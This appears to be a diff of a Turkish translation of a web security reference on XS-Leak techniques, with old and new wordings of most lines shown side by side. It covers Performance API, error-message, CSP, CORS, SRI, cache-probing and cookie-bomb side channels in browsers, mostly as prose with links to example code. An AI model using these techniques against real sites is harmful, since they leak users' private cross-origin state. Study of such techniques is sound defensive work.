* **Özet:** Bir tarayıcı hatası nedeniyle hatalara yol açan istekler iki kez yüklenir.
* **Kod Örneği**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
Önceki teknikte, GC'deki tarayıcı hataları nedeniyle **yüklenemeyen kaynakların iki kez yüklendiği** iki durum belirlendi. Bu, Performans API'da birden fazla giriş oluşturur ve bu nedenle algılanabilir.
### İstek Birleştirme Hatası
* **Dahil Etme Yöntemleri**: HTML Elemanları
* **Dahil Etme Yöntemleri**: HTML Öğeleri
* **Algılanabilir Fark**: Durum Kodu
* **Daha Fazla Bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Özet:** Hatalara neden olan istekler birleştirilemez.
* **Özet:** Hata oluşturan istekler birleştirilemez.
* **Kod Örneği**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Teknik, belirtilen makalede bir tabloda bulundu ancak teknikle ilgili bir açıklama bulunamadı. Bununla birlikte, bu tekniği kontrol eden kaynak kodu [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) adresinde bulabilirsiniz.
@ -355,17 +354,17 @@ Teknik, belirtilen makalede bir tabloda bulundu ancak teknikle ilgili bir açık
* **Özet:** Boş yanıtlar, kaynak zamanlama girdileri oluşturmaz.
* **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Bir saldırgan, bazı tarayıcılarda **boş sayfaların performans girdisi oluşturmadığını** tespit edebilir, çünkü **boş sayfalar** oluşturmaz.
Bir saldırgan, bazı tarayıcılarda **boş sayfaların performans girdisi oluşturmadığını** tespit edebilir, çünkü **boş sayfalar**.
### **XSS-Auditor Sızıntısı**
* **Dahil Etme Yöntemleri**: Çerçeveler
* **Algılanabilir Fark**: Sayfa İçeriği
* **Daha Fazla Bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Özet:** Güvenlik Bildirimlerinde XSS Denetleyicisini kullanarak, saldırganlar, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklediğinde yanıtlarda değişiklikler gözlemleyerek belirli web sayfası öğelerini tespit edebilir.
* **Özet:** Güvenlik Bildirimlerinde XSS Denetleyici kullanarak, saldırganlar, oluşturulan yüklemelerin denetleyicinin filtreleme mekanizmasını tetiklediğinde yanıtlarda değişiklikler gözlemleyerek belirli web sayfası öğelerini tespit edebilir.
* **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
Güvenlik Bildirimlerinde (SA), XSS Denetleyicisi, başlangıçta Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olmasına rağmen, paradoksal bir şekilde hassas bilgilerin sızdırılmasında kullanılabilir. Bu yerleşik özellik Google Chrome (GC) 'dan kaldırıldı, ancak SA'da hala mevcut. 2013 yılında, Braun ve Heiderich, XSS Denetleyicisinin yanlışlıkla meşru betikleri engelleyebileceğini ve yanlış pozitiflere yol açabileceğini gösterdi. Buna dayanarak, araştırmacılar, hassas bilgileri çıkarmak ve çapraz kökenli sayfalarda belirli içeriği tespit etmek için teknikler geliştirdiler, bu kavrama Terada tarafından başlangıçta bildirilen ve Heyes tarafından bir blog yazısında ayrıntılı olarak açıklanan XS-Sızıntıları olarak bilinir. Bu teknikler GC'deki XSS Denetleyicisi ile ilgiliyken, SA'da, XSS Denetleyicisi tarafından engellenen sayfaların Performans API'da giriş oluşturmadığı keşfedildi, bu da hassas bilgilerin hala sızdırılabileceği bir yöntemi ortaya koydu.
Güvenlik Bildirimlerinde (SA), XSS Denetleyici, başlangıçta XSS saldırılarını önlemek için tasarlanmış olmasına rağmen, paradoksal bir şekilde hassas bilgilerin sızdırılmasında kullanılabilir. Bu yerleşik özellik Google Chrome (GC) 'dan kaldırıldı, ancak SA'da hala mevcut. 2013 yılında, Braun ve Heiderich, XSS Denetleyicinin yanlışlıkla meşru betikleri engelleyebileceğini ve yanlış pozitiflere yol açabileceğini gösterdi. Buna dayanarak, araştırmacılar, hassas bilgileri çıkarmak ve çapraz kökenli sayfalarda belirli içeriği tespit etmek için teknikler geliştirdiler, başlangıçta Terada tarafından bildirilen ve Heyes tarafından bir blog yazısında ayrıntılı olarak açıklanan bir konsept olan XS-Sızıntıları. Bu teknikler GC'deki XSS Denetleyicisi ile ilgiliyken, SA'da, XSS Denetleyicisi tarafından engellenen sayfaların Performans API'da giriş oluşturmadığı keşfedildi, bu da hassas bilgilerin hala sızdırılabileceği bir yöntemi ortaya koydu.
### X-Frame Sızıntısı
@ -375,7 +374,7 @@ Güvenlik Bildirimlerinde (SA), XSS Denetleyicisi, başlangıçta Cross-Site Scr
* **Özet:** X-Frame-Options başlığına sahip kaynak, kaynak zamanlama girdisi oluşturmaz.
* **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Bir sayfanın bir **iframe** içinde **görüntülenmesine izin verilmiyorsa**, bir **performans girdisi oluşturmaz**. Sonuç olarak, bir saldırgan yanıt başlığını **`X-Frame-Options`** olarak tespit edebilir.\
Bir sayfanın bir **iframe** içinde **görüntülenmesine izin verilmiyorsa**, bu sayfa bir **performans girdisi oluşturmaz**. Sonuç olarak, bir saldırgan yanıt başlığını **`X-Frame-Options`** olarak tespit edebilir.\
Aynı durum **embed** **etiketi** kullanıldığında da geçerlidir.
### İndirme Algılama
@ -395,7 +394,7 @@ Tanımlanan XS-Sızıntıya benzer şekilde, bir **kaynak indirildiğinde** Cont
* **Özet:** Kaynak zamanlama girişi yönlendirme başlangıç zamanını sızdırır.
* **Örnek Kod**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Bazı tarayıcıların davranışlarını istismar eden bir XS-Leak örneği bulduk. Standart, çapraz kaynak istekleri için belirli özniteliklerin sıfıra ayarlanması gerektiğini tanımlar. Ancak, **SA**'da, hedef sayfanın yönlendirmesiyle kullanıcının yönlendirilip yönlendirilmediği sorgulanarak **Performans API**'yi sorgulayarak ve **redirectStart zamanlama verilerini** kontrol ederek tespit edilebilir.
Bazı tarayıcıların davranışını kötüye kullanan bir XS-Leak örneği bulduk. Standart, çapraz kaynak istekleri için belirli özniteliklerin sıfıra ayarlanması gerektiğini tanımlar. Ancak, **SA**'da, hedef sayfanın yönlendirmeyi yapılıp yapılmadığını sorgulayarak **Performans API**'yi sorgulayarak ve **redirectStart zamanlama verilerini** kontrol ederek kullanıcının yönlendirilip yönlendirilmediği tespit edilebilir.
### Süre Yönlendirme Sızıntısı
@ -405,7 +404,7 @@ Bazı tarayıcıların davranışlarını istismar eden bir XS-Leak örneği bul
* **Özet:** Yönlendirme gerçekleştiğinde zamanlama girişlerinin süresi negatif olur.
* **Örnek Kod**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
GC'de, **yönlendirmeye** neden olan istekler için **süre** **negatif** olur ve bu nedenle yönlendirme olmayan isteklerden ayırt edilebilir.
GC'de, **yönlendirmeye** neden olan isteklerin **süresi negatif** olur ve bu nedenle yönlendirmeye neden olmayan isteklerden **ayrılabilir**.
### CORP Sızıntısı
@ -415,27 +414,27 @@ GC'de, **yönlendirmeye** neden olan istekler için **süre** **negatif** olur v
* **Özet:** CORP ile korunan kaynaklar kaynak zamanlama girişleri oluşturmaz.
* **Örnek Kod**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. CORP etkin kaynaklar için SA hiçbir performans girişi oluşturmayacaktır.
Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. SA, CORP etkin kaynaklar için hiçbir performans girişi oluşturmayacaktır.
### Hizmet İşçisi
* **Dahil Etme Yöntemleri**: Frames
* **Algılanabilir Fark**: API Kullanımı
* **Daha Fazla Bilgi**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Özet:** Belirli bir kökene kayıtlı bir hizmet işçisinin kaydedilip kaydedilmediği tespit edilebilir.
* **Özet:** Belirli bir köken için bir hizmet işçisinin kaydedilip kaydedilmediğini tespit edin.
* **Örnek Kod**:
Hizmet işçileri, bir kökende çalışan olaya dayalı betik bağlamlarıdır. Bir web sayfasının arka planında çalışırlar ve kaynakları **ön belleğe almak** için araya girebilir, değiştirebilir ve **ön belleğe alabilirler**.\
Bir **hizmet işçisi** tarafından **ön belleğe alınan bir kaynak** **iframe** aracılığıyla erişilirse, kaynak **hizmet işçisi önbelleğinden yüklenecektir**.\
Hizmet işçileri, bir kökende çalışan olaya dayalı betik bağlamlarıdır. Bir web sayfasının arka planında çalışırlar ve kaynakları **ön belleğe almak** için araya girebilir, değiştirebilir ve **ön bellekli web uygulaması** oluşturabilirler.\
Bir **hizmet işçisi** tarafından **ön belleğe alınan kaynak** bir **iframe** aracılığıyla erişilirse, kaynak **hizmet işçisi önbelleğinden yüklenecektir**.\
Kaynağın **hizmet işçisi önbelleğinden yüklendiğini** tespit etmek için **Performans API** kullanılabilir.\
Bu ayrıca bir Zamanlama saldırısıyla da yapılabilir (daha fazla bilgi için belgeye bakın).
Bu ayrıca bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belgeye bakın).
### Önbellek
* **Dahil Etme Yöntemleri**: Fetch API
* **Algılanabilir Fark**: Zamanlama
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Özet:** Bir kaynağın önbelleğe alınıp alınmadığı kontrol edilebilir.
* **Özet:** Bir kaynağın önbelleğe alınıp alınmadığını kontrol etmek mümkündür.
* **Örnek Kod**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
[Performans API](./#performance-api) kullanılarak bir kaynağın önbelleğe alınıp alınmadığı kontrol edilebilir.
@ -445,7 +444,7 @@ Bu ayrıca bir Zamanlama saldırısıyla da yapılabilir (daha fazla bilgi için
* **Dahil Etme Yöntemleri**: Fetch API
* **Algılanabilir Fark**: Sayfa İçeriği
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Özet:** Bir isteğin ağ süresi `performans` API'sinden alınabilir.
* **Özet:** Bir isteğin ağ süresini `performans` API'sinden almak mümkündür.
* **Örnek Kod**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Hata Mesajları Tekniği
@ -494,30 +493,30 @@ audioElement.onerror = errHandler;
* **Dahil Etme Yöntemleri**: Fetch API
* **Algılanabilir Fark**: Başlık
* **Daha Fazla Bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları yanlışlıkla yönlendirilen isteklerin tam URL'sini açığa çıkarır.
* **Özet:** Güvenlik Beyanlarında (SA), CORS hata mesajları yanlışlıkla yönlendirilen isteklerin tam URL'sini açığa çıkarır.
* **Kod Örneği**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Bu teknik, bir saldırganın Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini sömürerek **çapraz kökenli bir sitenin yönlendirmesinin hedefini çıkarmasına** olanak tanır. Özellikle, bir **CORS etkin istek**, kullanıcı durumuna dayalı olarak yönlendirme yapan bir hedef siteye gönderildiğinde ve tarayıcı daha sonra isteği reddettiğinde, hata mesajı içinde **yönlendirmenin tam URL'si** ifşa edilir. Bu zayıflık sadece yönlendirme gerçeğini ortaya çıkarmakla kalmaz, aynı zamanda yönlendirmenin son noktasını ve içerebileceği **duyarlı sorgu parametrelerini** de açığa çıkarır.
Bu teknik, bir saldırganın Webkit tabanlı tarayıcıların CORS isteklerini nasıl işlediğini sömürerek **çapraz kökenli bir sitenin yönlendirmesinin hedefini çıkarmasına** olanak tanır. Özellikle, bir **CORS etkin istek**, kullanıcı durumuna bağlı olarak bir yönlendirme yapan hedef siteye gönderildiğinde ve tarayıcı daha sonra isteği reddettiğinde, hata mesajı içinde **yönlendirmenin hedefinin tam URL'si** ifşa edilir. Bu zayıflık sadece yönlendirme gerçeğini ortaya çıkarmakla kalmaz, aynı zamanda yönlendirmenin son noktasını ve içerebileceği **duyarlı sorgu parametrelerini** de açığa çıkarır.
### SRI Hatası
* **Dahil Etme Yöntemleri**: Fetch API
* **Algılanabilir Fark**: Başlık
* **Daha Fazla Bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları yanlışlıkla yönlendirilen isteklerin tam URL'sini açığa çıkarır.
* **Özet:** Güvenlik Beyanlarında (SA), CORS hata mesajları yanlışlıkla yönlendirilen isteklerin tam URL'sini açığa çıkarır.
* **Kod Örneği**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Bir saldırgan, **aşırı detaylı hata mesajlarını** kullanarak çapraz kökenli yanıtların boyutunu çıkarmak için SRI mekanizmasını sömürebilir. Bu, kaynakların (genellikle CDN'lerden) değiştirilmediğini doğrulamak için bütünlük özniteliğini kullanan Subresource Integrity (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin çapraz kökenli kaynaklarda çalışması için bunların **CORS etkin** olması gerekir; aksi takdirde bütünlük kontrollerine tabi değillerdir. Güvenlik İddialarında (SA), CORS hatası XS-Leak gibi, bir bütünlük özniteliği taşıyan bir getirme isteği sonrasında bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük özniteliğine **sahte bir kripto değeri atayarak** bu hatayı kasıtlı olarak **tetikleyebilir**. SA'da, ortaya çıkan hata mesajı yanlışlıkla istenen kaynağın içerik uzunluğunu ifşa eder. Bu bilgi sızıntısı, bir saldırganın yanıt boyutundaki değişiklikleri ayırt etmesine olanak tanır ve sofistike XS-Leak saldırıları için yol açar.
Bir saldırgan, **aşırı detaylı hata mesajlarını** kullanarak çapraz kökenli yanıtların boyutunu çıkarmak için SRI mekanizmasını sömürebilir. Bu, genellikle CDNs'den alınan kaynakların değiştirilmediğini doğrulamak için bütünlük özniteliğini kullanan Subresource Integrity (SRI) mekanizmasından kaynaklanmaktadır. SRI'nin çapraz kökenli kaynaklarda çalışması için bunların **CORS etkin** olması gerekir; aksi takdirde bütünlük kontrollerine tabi değillerdir. Güvenlik Beyanlarında (SA), CORS hatası XS-Leak gibi, bir bütünlük özniteliği başarısız olduğunda bir alınan istekten sonra bir hata mesajı yakalanabilir. Saldırganlar, herhangi bir isteğin bütünlük özniteliğine **sahte bir karmak değer** atayarak bu hatayı kasıtlı olarak **tetikleyebilir**. SA'da, elde edilen hata mesajı yanlışlıkla istenen kaynağın içerik uzunluğunu ortaya çıkarır. Bu bilgi sızıntısı, bir saldırganın yanıt boyutundaki değişiklikleri ayırt etmesine olanak tanır ve sofistike XS-Leak saldırıları için yol açar.
### CSP İhlali/Tespiti
* **Dahil Etme Yöntemleri**: Açılır Pencereler
* **Algılanabilir Fark**: Durum Kodu
* **Daha Fazla Bilgi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Özet:** CSP, sadece kurbanın web sitesine izin verirken, erişildiğinde farklı bir etki alanına yönlendirilmeye çalışırsa algılanabilir bir hata tetikler.
* **Özet:** CSP yalnızca kurbanın web sitesine izin verirken, erişildiğinde farklı bir etki alanına yönlendirilmeye çalışılırsa CSP, algılanabilir bir hataya neden olur.
* **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
Bir XS-Leak, CSP'yi kullanarak çapraz kökenli bir sitenin farklı bir etki alanına yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ancak ayrıca yönlendirme hedefinin etki alanı da sızar. Bu saldırının temel fikri, **saldırgan sitesindeki hedef etki alanına izin vermek**tir. Hedef etki alana bir istek gönderildiğinde, **çapraz kökenli bir etki alana yönlendirilir**. **CSP**, buna erişimi engeller ve bir sızıntı tekniği olarak kullanılan bir **ihlal raporu oluşturur**. Tarayıcıya bağlı olarak, **bu rapor yönlendirmenin hedef konumunu sızdırabilir**.\
Bir XS-Leak, CSP'yi kullanarak çapraz kökenli bir sitenin farklı bir kökene yönlendirilip yönlendirilmediğini tespit edebilir. Bu sızıntı, yönlendirmeyi tespit edebilir, ancak ayrıca yönlendirme hedefinin etki alanı da sızar. Bu saldırının temel fikri, **saldırgan sitesindeki hedef etki alanına izin vermek**tir. Bir istek hedef etki alana gönderildiğinde, **çapraz kökenli bir etki alana yönlendirilir**. **CSP**, buna erişimi engeller ve bir sızıntı tekniği olarak kullanılan bir **ihlal raporu oluşturur**. Tarayıcıya bağlı olarak, **bu rapor yönlendirmenin hedef konumunu sızdırabilir**.\
Modern tarayıcılar yönlendirildiği URL'yi belirtmeyebilir, ancak hala bir çapraz kökenli yönlendirme tetiklendiğini tespit edebilirsiniz.
### Önbellek
@ -525,7 +524,7 @@ Modern tarayıcılar yönlendirildiği URL'yi belirtmeyebilir, ancak hala bir ç
* **Dahil Etme Yöntemleri**: Çerçeveler, Açılır Pencereler
* **Algılanabilir Fark**: Sayfa İçeriği
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Özet:** Önbellekten dosyayı temizleyin. Hedef sayfayıın, dosyanın önbellekte olup olmadığını kontrol edin.
* **Özet:** Önbellekten dosyayı temizleyin. Hedef sayfayıın ve dosyanın önbellekte olup olmadığını kontrol edin.
* **Kod Örneği:**
Tarayıcılar tüm web siteleri için ortak bir önbellek kullanabilir. Kökenlerinden bağımsız olarak, bir hedef sayfanın **belirli bir dosyayı isteyip istemediğini** çıkarmak mümkündür.
@ -537,10 +536,10 @@ Bir sayfa yalnızca kullanıcı giriş yaptığında bir resmi yüklüyorsa, **k
* **Dahil Etme Yöntemleri**: Çerçeveler
* **Algılanabilir Fark**: Başlık
* **Daha Fazla Bilgi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Özet:** CSP başlık yönergeleri, CSP iframe özniteliğini kullanarak sorgulanabilir ve politika ayrıntıları ortaya çıkarılabilir.
* **Özet:** CSP başlık yönergeleri, CSP iframe özniteliğini kullanarak sorgu ayrıntılarını ortaya çıkarabilir.
* **Kod Örneği**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Google Chrome'da (GC) yeni bir özellik, bir iframe öğesine bir öznitelik ayarlayarak web sayfalarının **Bir İçerik Güvenlik Politikası (CSP)** önermesine izin verir ve politika yönergeleri HTTP isteği ile iletilir. Normalde, gömülü içeriğin bunu **bir HTTP başlığı aracılığıyla yetkilendirmesi gerekir**, aksi takdirde bir **hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenecektir. Bu mekanizma, bir saldırganın çapraz kökenli bir sayfanın belirli CSP yönergelerini **belirlemesine olanak tanır** ve hata sayfasını tanımlayabilir. Bu zayıflık düzeltilmiş olarak işaretlendi, ancak bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniğini** ortaya koyarak, temel sorunun asla tam olarak ele alınmadığını göstermektedir.
Google Chrome'da (GC) yeni bir özellik, bir iframe öğesine bir öznitelik ayarlayarak bir İçerik Güvenlik Politikası (CSP) **önermek** için web sayfalarına izin verir ve politika yönergeleri HTTP isteği ile iletilir. Genellikle, gömülü içerik bunu **bir HTTP başlığı aracılığıyla yetkilendirmelidir**, aksi takdirde bir **hata sayfası görüntülenir**. Ancak, eğer iframe zaten bir CSP tarafından yönetiliyorsa ve yeni önerilen politika daha kısıtlayıcı değilse, sayfa normal şekilde yüklenir. Bu mekanizma, bir saldırganın çapraz kökenli bir sayfanın **belirli CSP yönergelerini tespit etmesine** olanak tanırken hata sayfasını tanımlar. Bu zayıflık düzeltilmiş olarak işaretlense de, bulgularımız, hata sayfasını tespit edebilen **yeni bir sızıntı tekniğini** ortaya çıkarır ve temel sorunun asla tam olarak ele alınmadığını gösterir.
### **CORP**
@ -550,13 +549,13 @@ Google Chrome'da (GC) yeni bir özellik, bir iframe öğesine bir öznitelik aya
* **Özet:** Cross-Origin Resource Policy (CORP) ile korunan kaynaklar, yasaklanan bir kökenden alındığında bir hata fırlatır.
* **Kod Örneği**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
CORP başlığı, belirli bir kaynağa **no-cors çapraz kökenli istekleri engellediğinde bir hata fırlatır** ve başlığın varlığı algılanabilir.
CORP başlığı, belirli bir kaynağa **no-cors çapraz kökenli istekleri engellerken** göreceli olarak yeni bir web platformu güvenlik özelliğidir. Başlık varlığı algılanabilir, çünkü CORP ile korunan bir kaynağa **erişildiğinde bir hata fırlatır**.
### CORB
* **Dahil Etme Yöntemleri**: HTML Elemanları
* **Algılanabilir Fark**: Başlıklar
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Özet**: CORB saldırganlara istekte **`nosniff` başlığının varlığını** tespit etmelerine olanak tanıyabilir.
* **Özet**: CORB, saldırganların isteğin içinde **`nosniff` başlığının varlığını tespit etmesine** izin verebilir.
* **Kod Örneği**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
Saldırı hakkında daha fazla bilgi için bağlantıya bakın.
@ -569,8 +568,8 @@ Saldırı hakkında daha fazla bilgi için bağlantıya bakın.
* **Özet**: Eğer Origin başlığı `Access-Control-Allow-Origin` başlığında yansıtılıyorsa, bir kaynağın önbellekte olup olmadığını kontrol etmek mümkündür.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
Eğer **Origin başlığı** `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı kötüye kullanarak **CORS** modunda **kaynağı almaya çalışabilir**. Eğer bir **hata oluşmazsa**, bu, kaynağın **web'den doğru şekilde alındığı** anlamına gelir, eğer bir hata **oluşursa**, bu, kaynağın **önbellekten alındığı** anlamına gelir (hata, önbelleğin, orijinal alan adını ve saldırganın alan adını izin veren bir CORS başlığıyla bir yanıtı kaydetmesi nedeniyle ortaya çıkar).\
Unutulmamalıdır ki, eğer origin yansıtılmıyorsa ancak joker karakteri kullanılıyorsa (`Access-Control-Allow-Origin: *`), bu çalışmayacaktır.
Eğer **Origin başlığı**, `Access-Control-Allow-Origin` başlığında **yansıtılıyorsa**, bir saldırgan bu davranışı kötüye kullanarak **CORS** modunda **kaynağı almayı deneyebilir**. Eğer bir **hata oluşmazsa**, bu, kaynağın **web'den doğru şekilde alındığı** anlamına gelir, eğer bir hata **oluşursa**, bu, kaynağın **önbellekten alındığı anlamına gelir** (hata, önbelleğin, orijinal alanı izin veren bir CORS başlığıyla bir yanıtı kaydettiği için ortaya çıkar).\
Unutulmamalıdır ki, eğer origin yansıtılmıyorsa ancak joker karakteri kullanılıyorsa (`Access-Control-Allow-Origin: *`), bu çalışmaz.
## Okunabilir Öznitelik Tekniği
@ -582,7 +581,7 @@ Unutulmamalıdır ki, eğer origin yansıtılmıyorsa ancak joker karakteri kull
* **Özet:** GC ve SA, yönlendirme tamamlandıktan sonra yanıtın türünü (opaqueredirect) kontrol etmeye olanak tanır.
* **Kod Örneği**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek göndererek, `response.type` özniteliğini okumak ve eğer `opaqueredirect`'e eşitse, yanıtın bir yönlendirme olduğunu belirlemek mümkündür.
`redirect: "manual"` ve diğer parametrelerle Fetch API kullanarak bir istek göndererek, `response.type` özniteliğini okumak ve eğer `opaqueredirect`'e eşitse yanıtın bir yönlendirme olduğunu belirlemek mümkündür.
### COOP
@ -594,42 +593,38 @@ Unutulmamalıdır ki, eğer origin yansıtılmıyorsa ancak joker karakteri kull
Bir saldırgan, çapraz kökenli bir HTTP yanıtında Cross-Origin Opener Policy (COOP) başlığının varlığını çıkarabilir. COOP, web uygulamaları tarafından harici sitelerin rastgele pencere referanslarına erişimini engellemek için kullanılır. Bu başlığın görünürlüğü, **`contentWindow` referansına** erişmeye çalışarak anlaşılabilir. COOP'un koşullu olarak uygulandığı durumlarda, **`opener` özelliği** bir belirleyici olur: COOP etkin olduğunda **tanımsız** olurken, etkin olmadığında **tanımlı** olur.
### URL Maksimum Uzunluğu - Sunucu Tarafı
### URL Maksimum Uzunluk - Sunucu Tarafı
* **Dahil Etme Yöntemleri**: Fetch API, HTML Elemanları
* **Algılanabilir Fark**: Durum Kodu / İçerik
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Özet:** Yönlendirme yanıtının uzunluğundan kaynaklanan farkları tespit ederek, sunucunun bir hata ile yanıt vermesi ve bir uyarı oluşturulması mümkündür.
* **Özet:** Yönlendirme yanıtının uzunluğundan kaynaklanan farkları tespit etmek, sunucunun bir hata ile yanıt vermesi ve bir uyarı oluşturulması mümkün olabilir.
* **Kod Örneği**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Eğer bir sunucu tarafı yönlendirmesi **yönlendirme içinde kullanıcı girdisi** ve **ekstra veri** kullanıyorsa, bu davranışı tespit etmek mümkündür çünkü genellikle **sunucuların bir istek uzunluğu sınırı** vardır. Eğer **kullanıcı verisi** bu sınırın **bir eksiği ise**, çünkü **yönlendirme** bu veriyi kullanıyor ve **ekstra bir şey ekliyor**, bu, bir **hata oluşturarak algılanabilir**.
Eğer bir sunucu tarafı yönlendirmesi, **yönlendirmede kullanıcı girdisi içeriyorsa** ve **ekstra veri** varsa, bu davranışı tespit etmek mümkündür çünkü genellikle **sunucuların bir istek uzunluk sınırı** vardır. Eğer **kullanıcı verisi** bu sınırın **bir eksiği ise**, çünkü **yönlendirme** bu veriyi kullanıyor ve **ekstra bir şey ekliyorsa**, bu, bir **hata oluşturarak algılanabilir**.
Eğer bir kullanıcıya çerezler atayabilirseniz, bu saldırıyı gerçekleştirmek için **yeterli sayıda çerez atayabilirsiniz** ([**çerez bombası**](../hacking-with-cookies/cookie-bomb.md)) böylece **doğru yanıtın boyutu arttığında bir hata** oluşturulur. Bu durumda, bu isteği aynı siteden tetiklerseniz, `<script>` otomatik olarak çerezleri gönderir (bu nedenle hataları kontrol edebilirsiniz).\
Eğer bir kullanıcıya çerezler atayabilirseniz, bu saldırıyı gerçekleştirmek için **yeterli sayıda çerez atarak** de yapabilirsiniz ([**çerez bombası**](../hacking-with-cookies/cookie-bomb.md)) böylece **doğru yanıtın boyutu arttığında bir hata** tetiklenir. Bu durumda, bu isteği aynı siteden tetiklerseniz, `<script>` otomatik olarak çerezleri gönderir (bu nedenle hataları kontrol edebilirsiniz).\
**Çerez bombası + XS-Search**'ün bir örneği, bu yazının Tasarlanan çözümünde bulunabilir: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
